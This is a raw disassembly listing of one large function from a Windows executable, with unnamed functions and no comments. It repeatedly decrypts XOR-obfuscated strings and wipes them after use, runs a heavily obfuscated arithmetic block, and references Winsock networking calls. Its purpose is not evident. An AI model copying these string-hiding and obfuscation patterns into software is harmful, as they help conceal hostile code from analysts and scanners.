xor edx, edx
mov ecx, ebx
call fcn.140163710
test eax, eax
js 0x14019fcaf
cmp dword [rbp + 0x547c], 0x10000
je 0x14019fcb4
mov eax, 0xc0000001
test eax, eax
js 0x1401a112a
movzx ebx, byte [rbp + 0x360]
test bl, bl
je 0x14019fcf1
call fcn.140147330
mov edx, 2
lea rcx, [rbp + 0x260]
call fcn.1401569f0
mov rcx, rax
call fcn.1401a7360
test bl, bl
jne 0x14019fdac
call fcn.14014ced0
test al, al
jne 0x14019fda4
cmp byte [rbp - 0x57], r12b
je 0x14019fda4
lea rdx, [rbp + 0x2180]
lea rcx, [rbp - 0x2a]
call fcn.140164820
cmp byte [rbp + 0x21a3], r12b
je 0x14019fd62
mov r8d, r12d
lea r9, [rbp + 0x2180]
nop
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x14019fd30
mov dword [rsp + 0x28], 0x3a98
mov word [rsp + 0x20], r12w
mov r9d, 0x1040
lea r8, [0x140443e2f]
lea rdx, [rbp + 0x2180]
xor ecx, ecx
call fcn.140145110
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2180], xmm0
movups xmmword [rbp + 0x2190], xmm0
mov dword [rbp + 0x21a0], eax
test bl, bl
je 0x14019fdbb
cmp byte [rbp - 0x56], r12b
je 0x14019fdbb
call fcn.14014cf20
mov r14, qword [rbp + 0x18]
mov dword [rbp + 0x573c], r12d
xor edx, edx
mov r8d, 0x200
lea rcx, [rbp + 0x5740]
call sub.VCRUNTIME140.dll_memset
xor eax, eax
mov qword [rbp + 0x5940], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x5948], xmm0
movups xmmword [rbp + 0x5958], xmm0
mov qword [rbp + 0x5968], rax
movups xmmword [rbp + 0x5970], xmm0
mov dword [rbp + 0x5980], eax
mov dword [rbp + 0x5984], r12d
mov qword [rbp + 0x5988], r12
mov qword [rbp + 0x5990], r12
mov dword [rbp + 0x5998], r12d
mov qword [rbp + 0x59a0], r12
mov qword [rbp + 0x59a8], rax
mov dword [rbp + 0x59b0], eax
mov dword [rbp + 0x59b4], r12d
mov dword [rbp + 0x59b8], r12d
mov dword [rbp + 0x59bc], r12d
mov word [rbp + 0x59c0], r12w
movups xmmword [rbp + 0x59c8], xmm0
movups xmmword [rbp + 0x59d8], xmm0
mov qword [rbp + 0x59e8], rax
mov qword [rbp + 0x5730], 0xaed0de
mov dword [rbp + 0x5738], reloc.WS2_32.dll_socket
mov eax, dword [0x1404e9e80]
mov dword [rsp + 0x48], eax
lea rax, [rbp + 0x5730]
mov qword [rsp + 0x40], rax
mov eax, dword [0x1404e9e0c]
mov dword [rsp + 0x38], eax
mov qword [rsp + 0x30], r12
mov eax, dword [0x1404e9e70]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, dword [0x1404e9d1c]
call fcn.140163710
shr eax, 0x1f
xor al, 1
test r13b, r13b
je 0x14019fee6
cmp byte [rbp - 0x55], 0
je 0x1401a106b
test al, al
je 0x1401a1073
test bl, bl
je 0x1401a114c
mov dword [rbp + 0x59fc], r12d
xor edx, edx
mov r8d, 0x200
lea rcx, [rbp + 0x5a00]
call sub.VCRUNTIME140.dll_memset
xor eax, eax
mov qword [rbp + 0x5c00], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x5c08], xmm0
movups xmmword [rbp + 0x5c18], xmm0
mov qword [rbp + 0x5c28], rax
movups xmmword [rbp + 0x5c30], xmm0
mov dword [rbp + 0x5c40], eax
mov dword [rbp + 0x5c44], r12d
mov qword [rbp + 0x5c48], r12
mov qword [rbp + 0x5c50], r12
mov dword [rbp + 0x5c58], r12d
mov qword [rbp + 0x5c60], r12
mov qword [rbp + 0x5c68], rax
mov dword [rbp + 0x5c70], eax
mov dword [rbp + 0x5c74], r12d
mov dword [rbp + 0x5c78], r12d
mov dword [rbp + 0x5c7c], r12d
mov word [rbp + 0x5c80], r12w
movups xmmword [rbp + 0x5c88], xmm0
movups xmmword [rbp + 0x5c98], xmm0
mov qword [rbp + 0x5ca8], rax
mov qword [rbp + 0x59f0], 0xaed0de
mov dword [rbp + 0x59f8], 4
mov eax, dword [0x1404e9e80]
mov dword [rsp + 0x48], eax
lea rax, [rbp + 0x59f0]
mov qword [rsp + 0x40], rax
mov eax, dword [0x1404e9e0c]
mov dword [rsp + 0x38], eax
mov qword [rsp + 0x30], r12
mov eax, dword [0x1404e9e70]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, dword [0x1404e9d1c]
call fcn.140163710
test eax, eax
jns 0x1401a114c
test r13b, r13b
je 0x1401a114c
lea rdx, [rbp + 0x29b0]
lea rcx, [rbp - 0x27]
call fcn.140164890
cmp byte [rbp + 0x2a30], 0
je 0x1401a0065
mov r8d, r12d
lea r9, [rbp + 0x29b0]
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x81
jl 0x1401a0030
mov dword [rsp + 0x28], 0x3a98
mov word [rsp + 0x20], r12w
mov r9d, 0x1040
lea r8, [0x140443e2f]
lea rdx, [rbp + 0x29b0]
xor ecx, ecx
call fcn.140145110
lea rax, [rbp + 0x29b0]
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x60], xmm0
movups xmmword [rax + 0x70], xmm0
mov byte [rax + 0x80], cl
jmp 0x1401a112a
mov byte [rbp + 0x91c], 0xfb
mov byte [rbp + 0x91d], 0xe6
mov byte [rbp + 0x91e], 0xe2
mov byte [rbp + 0x91f], 0xe4
mov byte [rbp + 0x920], 0x9a
mov byte [rbp + 0x921], 0x98
mov byte [rbp + 0x922], 0xe6
xor eax, eax
mov qword [rbp + 0x923], rax
mov dword [rbp + 0x92b], eax
mov byte [rbp + 0x92f], al
movabs rsi, 0x25748e1ecf282dec
movabs r14, 0xc7280e39a4531794
movabs r15, 0xb766191222e18d1c
movabs r13, 0x6a6d068ca13370c8
movabs r12, 0x743e57e4565fe244
movzx ebx, byte [rbp + 0x5d00]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
nop
xor r11d, r11d
movabs rcx, 0x87e0fa93c0b8c53c
cmp r11, 0x14
jae 0x1401a0f35
movzx r10d, byte [rbp + r11 + 0x91c]
mov rdi, r10
cmp r8, r11
ja 0x1401a0f29
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1401a01b4
add rcx, r11
mov rax, rcx
and rax, r10
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r10
add bl, 0x5c
jmp 0x1401a01f0
je 0x1401a0e9a
lea rax, [r9 + 3]
cmp r8, rax
je 0x1401a0df9
lea rax, [r9 + 4]
cmp r8, rax
je 0x1401a0d96
lea rax, [r9 + 2]
cmp r8, rax
je 0x1401a0d69
lea rax, [r9 + 5]
cmp r8, rax
je 0x1401a0d14
nop
cmp r9, r11
ja 0x1401a0f1d
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x1401a0222
lea rdx, [r11 + rsi]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x74
add bl, dl
jmp 0x1401a0270
lea rax, [r9 + 1]
cmp r8, rax
je 0x1401a0ced
inc rax
cmp r8, rax
je 0x1401a0cc1
lea rax, [r9 + 3]
cmp r8, rax
je 0x1401a0c98
lea rax, [r9 + 2]
cmp r8, rax
je 0x1401a0c7a
lea rax, [r9 + 6]
cmp r8, rax
je 0x1401a0c57
lea rax, [r9 + 7]
cmp r8, rax
je 0x1401a0c34
nop
lea rax, [r9 + r8]
cmp rax, r11
jbe 0x1401a08af
nop dword [rax]
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1401a088c
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1401a085c
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1401a0833
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1401a0824
lea rax, [r9 + 2]
cmp r8, rax
je 0x1401a07fd
lea rax, [r9 + r8]
cmp rax, 0x80
je 0x1401a0c05
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x1401a09d0
movabs rcx, 0x609bb534ec06ff4c
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x14
jmp 0x1401a06c0
movabs rcx, 0x91f18af353b95f30
jmp 0x1401a0996
movabs rcx, 0x822f95cbd247d4b8
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 8
dec r11
inc r11
jmp 0x1401a0163
movabs rdx, 0x726da0a450d64a40
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 0x20
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
inc r9
dec r11
inc r11
jmp 0x1401a0163
movabs rcx, 0x62abab7ccf64bfc8
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x78
jmp 0x1401a0d32
lea rax, [r9 + 0x2a]
cmp r8, rax
jae 0x1401a08e3
movabs rdx, 0x87e0fa93c0b8c53c
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 0x2e
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1401a0712
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401a0929
movabs rdx, 0x4ae91c3d9e505bd8
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_inet_ntoa
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
movzx eax, byte [rbp + r11 + 0x91c]
add rax, r9
add r11, rax
inc r11
jmp 0x1401a0163
inc rax
cmp r8, rax
jne 0x1401a0958
movabs rcx, 0x5aab11651fc1e650
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x30
jmp 0x1401a0e4e
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1401a097f
lea rcx, [r11 + r13]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x78
jmp 0x1401a0e19
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1401a09af
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401a0a00
movabs rdx, 0x4327c12dcc81aad8
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_inet_ntoa
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r11 + 0x91c]
add bl, dl
add bl, r10b
jmp 0x1401a0e19
movabs rcx, 0x93c242335942f734
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x6c
jmp 0x1401a0e19
movabs rcx, 0x84004d0bd7d16cbc
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x24
jmp 0x1401a0de1
lea rdx, [r11 + r12]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1401a0dde
movabs rcx, 0x54ba6d95537ccd54
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x4c
dec r11
inc r11
jmp 0x1401a0163
movabs rcx, 0x44f8786dd20b42dc
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 4
inc r9
dec r11
inc r11
jmp 0x1401a0163
movabs rdx, 0x353683465099b864
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 0x22
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1401a0d32
movabs rcx, 0x15b298f74db6a374
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x2c
movabs rdx, 0xab84d1728a575b24
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 2
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0x91c], cl
inc r9
dec r11
inc r11
jmp 0x1401a0163
movabs rdx, 0xf62eaea84ad38e84
mov ecx, gethostbyaddr
add rdx, r11
movzx eax, dl
and al, r10b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
dec r11
inc r11
jmp 0x1401a0163
movabs rcx, 0xe66cb980c962040c
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x54
movabs rdx, 0xbb46c69a0bc8e59c
add rdx, r11
movzx eax, dl
and al, r10b
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x44
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0x91c], cl
add r8, r9
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1401a0163
mov r10, rdi
movabs rcx, 0xb726da0a450d64a4
add rcx, r11
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x7c
movabs rdx, 0xcb08bbc18d3a7014
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 0x3a
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0x91c], al
inc r9
add rax, r9
sub r11, rax
movabs rcx, 0x52e9b6554df33550
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x30
add cl, r10b
mov byte [rbp + r11 + 0x91c], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add r11, rax
movzx eax, byte [rbp + r11 + 0x91c]
add rax, r9
add r11, rax
inc r11
jmp 0x1401a0163
movabs rdx, 0x97a2efbb422a4fb4
add rdx, r11
movzx eax, dil
and al, dl
mov ecx, 0xa
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
movzx eax, byte [rbp + r11 + 0x91c]
add rax, r9
add r11, rax
inc r11
jmp 0x1401a0163
lea rbx, [rbp + 0x1648d6c]
jmp 0x1401a0f3c
lea rbx, [rbp + 0x9d52a8]
jmp 0x1401a0f3c
lea rbx, [rbp + 0x91c]
lea rdx, [rbp + 0xbb0]
lea rcx, [rbp - 0x29]
call fcn.1401647f0
xor r12d, r12d
cmp byte [rbp + 0xbc9], r12b
je 0x1401a0fa2
mov r9d, r12d
lea r10, [rbp + 0xbb0]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r9b
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x1a
jl 0x1401a0f70
lea rdx, [rbp + 0xbb0]
lea rcx, [rbp + 0x1f50]
call fcn.14013a940
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1f70]
call fcn.140155d40
nop
mov rcx, rax
call fcn.140135dc0
mov rdx, rax
mov dword [rsp + 0x28], 0x3a98
mov word [rsp + 0x20], r12w
mov r9d, 0x1010
lea r8, [0x140443e2f]
xor ecx, ecx
call fcn.140145110
nop
lea rcx, [rbp + 0x1f70]
call fcn.140135dd0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xbb0], xmm0
mov qword [rbp + 0xbc0], rax
mov word [rbp + 0xbc8], ax
lea rcx, [rbp + 0xa98]
call fcn.140135c60
nop
lea rcx, [rbp + 0x1e10]
call fcn.140135dd0
nop
mov rcx, qword [rbp + 8]
call fcn.140135dd0
nop
mov rcx, qword [rsp + 0x68]
call fcn.140135dd0
nop
mov rcx, qword [rbp + 0x20]
call fcn.140135dd0
jmp 0x1401a112a
mov r13b, 1
movzx ebx, byte [rbp + 0x360]
xor r12d, r12d
jmp 0x14019fdbf
test al, al
je 0x14019fee6
lea rdx, [rbp + 0x2470]
lea rcx, [rbp - 0x28]
call fcn.140164850
cmp byte [rbp + 0x24ab], 0
je 0x1401a10d2
mov r8d, r12d
lea r9, [rbp + 0x2470]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3c
jl 0x1401a10a0
mov dword [rsp + 0x28], 0x3a98
mov word [rsp + 0x20], r12w
mov r9d, 0x1040
lea r8, [0x140443e2f]
lea rdx, [rbp + 0x2470]
xor ecx, ecx
call fcn.140145110
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2470], xmm0
movups xmmword [rbp + 0x2480], xmm0
movups xmmword [rbp + 0x2490], xmm0
mov qword [rbp + 0x24a0], rax
mov dword [rbp + 0x24a8], eax
jmp 0x1401a112a
xor r12d, r12d
mov rcx, qword [rbp + 0x28]
call fcn.140135dd0
nop
mov rcx, qword [rbp - 0x10]
call fcn.140135dd0
nop
mov rcx, qword [rbp + 0x18]
call fcn.140135dd0
jmp 0x1401a1171
mov rcx, qword [rbp + 0x28]
call fcn.140135dd0
nop
mov rcx, qword [rbp - 0x10]
call fcn.140135dd0
nop
mov rcx, r14
call fcn.140135dd0
test r15d, r15d
jns 0x1401a11f5
lea rdx, [rbp + 0x888]
lea rcx, [rbp - 0x26]
call fcn.1401a1b80
cmp byte [rbp + 0x898], 0
je 0x1401a11d2
lea r8, [rbp + 0x888]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r12d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r12b
xor byte [r8], cl
inc r12d
lea r8, [r8 + 1]
cmp r12d, 0x11
jl 0x1401a11a0
lea rcx, [rbp + 0x888]
call fcn.14014cf40
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x888], xmm0
mov byte [rbp + 0x898], al
jmp 0x1401a1405
call fcn.140167390
lea rax, [rbp + 0x1f90]
mov qword [rbp + 0x5d08], rax
lea rdx, [rbp + 0x14d0]
lea rcx, [rbp + 0x1f90]
call fcn.140135eb0
mov rdi, rax
lea rax, [rbp + 0x1fb0]
mov qword [rbp + 0x5d10], rax
lea rdx, [rbp + 0x1430]
lea rcx, [rbp + 0x1fb0]
call fcn.140135eb0
mov rbx, rax
lea rdx, [rbp + 0x1470]
lea rcx, [rbp + 0x1fd0]
call fcn.140135eb0
nop
mov qword [rsp + 0x30], rdi
movzx ecx, byte [rsp + 0x60]
mov byte [rsp + 0x28], cl
movzx ecx, byte [rbp - 0x54]
mov byte [rsp + 0x20], cl
mov r9, rbx
mov r8, rax
mov rdx, qword [rbp + 0x48]
mov rcx, qword [rbp - 8]
call fcn.14015d590
test eax, eax
je 0x1401a1395
cmp eax, 4
jne 0x1401a131c
lea rdx, [rbp + 0x948]
lea rcx, [rbp - 0x25]
call fcn.1401a1ba0
cmp byte [rbp + 0x95d], 0
je 0x1401a12f2
lea r8, [rbp + 0x948]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r12d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r12b
xor byte [r8], cl
inc r12d
lea r8, [r8 + 1]
cmp r12d, 0x16
jl 0x1401a12c0
lea rcx, [rbp + 0x948]
call fcn.14014cf40
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x948], xmm0
mov dword [rbp + 0x958], eax
mov word [rbp + 0x95c], ax
jmp 0x1401a1405
lea rdx, [rbp + 0x8a0]
lea rcx, [rbp - 0x24]
call fcn.1401a1b80
cmp byte [rbp + 0x8b0], 0
je 0x1401a1372
lea r8, [rbp + 0x8a0]
mov eax, 0x4d4873ed
imul r12d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r12b
xor byte [r8], cl
inc r12d
lea r8, [r8 + 1]
cmp r12d, 0x11
jl 0x1401a1340
lea rcx, [rbp + 0x8a0]
call fcn.14014cf40
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x8a0], xmm0
mov byte [rbp + 0x8b0], al
jmp 0x1401a1405
lea rdx, [rbp + 0x268]
lea rcx, [rbp - 0x23]
call fcn.1401a1a80
cmp byte [rbp + 0x26f], 0
je 0x1401a13f2
mov r8d, r12d
lea r9, [rbp + 0x268]
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1401a13c0
lea rcx, [rbp + 0x268]
call fcn.14014cf40
mov qword [rbp + 0x268], r12
lea rcx, [rbp + 0xa38]
call fcn.140135c60
nop
lea rcx, [rbp + 0x18f0]
call fcn.140135dd0
nop
lea rcx, [rbp + 0x14d0]
call fcn.140135dd0
nop
lea rcx, [rbp + 0x1470]
call fcn.140135dd0
nop
lea rcx, [rbp + 0x1450]
call fcn.140135dd0
nop
lea rcx, [rbp + 0x1430]
call fcn.140135dd0
nop
lea rcx, [rbp + 0x1410]
call fcn.140135dd0
nop
lea rcx, [rbp + 0x13f0]
call fcn.140135dd0
jmp 0x1401a14f4
lea rdx, [rbp + 0x3f0]
lea rcx, [rbp - 0x22]
call fcn.1401a17c0
cmp byte [rbp + 0x3fd], 0
je 0x1401a14d2
mov r8d, r12d
lea r9, [rbp + 0x3f0]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1401a14a0
lea rcx, [rbp + 0x3f0]
call fcn.14014cf40
mov qword [rbp + 0x3f0], r12
mov dword [rbp + 0x3f8], r12d
mov word [rbp + 0x3fc], r12w
lea rcx, [rbp + 0x2830]
call fcn.1401a1bf0
jmp 0x1401a158c
lea rcx, [rbp + 0x12b0]
call fcn.140135dc0
mov rcx, rax
call fcn.14014dfd0
lea rdx, [rbp + 0x370]
lea rcx, [rbp - 0x21]
call fcn.1401a17f0
cmp byte [rbp + 0x37b], 0
je 0x1401a1572
mov r8d, r12d
lea r9, [rbp + 0x370]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1401a1540
lea rcx, [rbp + 0x370]
call fcn.14014cf40
mov qword [rbp + 0x370], r12
mov dword [rbp + 0x378], r12d
lea rcx, [rbp + 0x12b0]
call fcn.1401362c0
nop
lea rcx, [rbp + 0x1250]
call fcn.14013ec20
nop
lea rcx, [rbp + 0x108]
call fcn.14015c880
nop
lea rcx, [rbp + 0x11b0]
call fcn.1401362c0
nop
lea rcx, [rbp + 0x2710]
call fcn.1401a1bf0
nop
lea rcx, [rbp + 0x1190]
call fcn.1401362c0
jmp 0x1401a170b
mov dword [rbp + 0x6c], edi
mov word [rbp + 0x70], di
mov qword [rbp + 0x2f0], rdi
mov word [rbp + 0x2f8], di
mov byte [rbp + 0x2fa], dil
movsd xmm0, qword [0x140448320]
movsd qword [rbp + 0x380], xmm0
mov eax, dword [0x140448328]
mov dword [rbp + 0x388], eax
cmp byte [0x14044832b], 0
je 0x1401a1662
mov r8d, edi
lea r9, [rbp + 0x380]
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1401a1630
lea rcx, [rbp + 0x380]
call fcn.14014cf40
mov qword [rbp + 0x380], rdi
mov dword [rbp + 0x388], edi
jmp 0x1401a170b
mov dword [rbp + 0x6c], edi
mov word [rbp + 0x70], di
movsd xmm0, qword [0x140448320]
movsd qword [rbp + 0x390], xmm0
mov eax, dword [0x140448328]
mov dword [rbp + 0x398], eax
cmp byte [0x14044832b], 0
je 0x1401a16f2
mov r8d, edi
lea r9, [rbp + 0x390]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1401a16c0
lea rcx, [rbp + 0x390]
call fcn.14014cf40
mov qword [rbp + 0x390], rdi
mov dword [rbp + 0x398], edi
lea rcx, [rbp + 0x26b0]
call fcn.1401a1bf0
nop
lea rcx, [rbp + 0x1110]
call fcn.1401362c0
nop
lea rcx, [rbp + 0xff0]
call fcn.1401362c0
nop
lea rcx, [rbp + 0xfd0]
call fcn.1401362c0
nop
lea rcx, [rbp + 0xf70]
call fcn.1401362c0
nop
lea rcx, [rbp + 0xf50]
call fcn.1401362c0
nop
lea rcx, [rbp + 0xf30]
call fcn.1401362c0
nop
lea rcx, [rbp + 0xe90]
call fcn.1401362c0
xor eax, eax
add rsp, 0x5db8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.1401a40d0
nop
int3